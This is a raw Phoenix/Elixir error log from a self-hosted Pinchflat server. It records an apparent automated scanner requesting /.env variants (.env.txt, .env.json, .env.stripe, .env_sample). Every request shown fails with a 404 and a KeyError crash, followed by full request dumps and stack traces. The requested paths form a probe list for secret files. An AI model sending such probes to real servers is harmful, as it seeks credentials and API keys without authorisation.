AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3159.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.template", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49394}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3160.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto (truncated) 21:08:38.385 [info] GET /.env.txt 21:08:38.385 [debug] QUERY OK source="settings" db=0.2ms idle=110.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.386 [debug] QUERY OK source="settings" db=0.1ms idle=74.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.386 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.386 [error] #PID<0.3162.0> running PinchflatWeb.Endpoint (connection #PID<0.3161.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3161.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49402}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3162.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-aFob0YHGLkAANiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3161.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49402}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3161.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49402}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3162.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.470 [info] GET /.env.json 21:08:38.472 [debug] QUERY OK source="settings" db=0.5ms idle=159.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.472 [debug] QUERY OK source="settings" db=0.3ms idle=142.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.472 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.473 [error] #PID<0.3164.0> running PinchflatWeb.Endpoint (connection #PID<0.3163.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3163.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49408}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3164.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-aaDBlIIbrwAANkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3163.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49408}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3163.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49408}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3164.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.578 [info] GET /.env.stripe 21:08:38.579 [debug] QUERY OK source="settings" db=0.3ms idle=248.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.579 [debug] QUERY OK source="settings" db=0.1ms idle=193.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.579 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.580 [error] #PID<0.3166.0> running PinchflatWeb.Endpoint (connection #PID<0.3165.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env.stripe ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3165.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stripe", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49414}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3166.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.stripe", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-azrvkl76LQAANmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3165.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stripe", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49414}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3165.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.stripe", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49414}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3166.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:38.631 [info] GET /.env_sample 21:08:38.632 [debug] QUERY OK source="settings" db=0.4ms idle=245.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.633 [debug] QUERY OK source="settings" db=0.2ms idle=160.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.633 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.633 [error] #PID<0.3168.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.env_sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49420}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3168.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env_sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-bAYzWA4gHEAANoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, 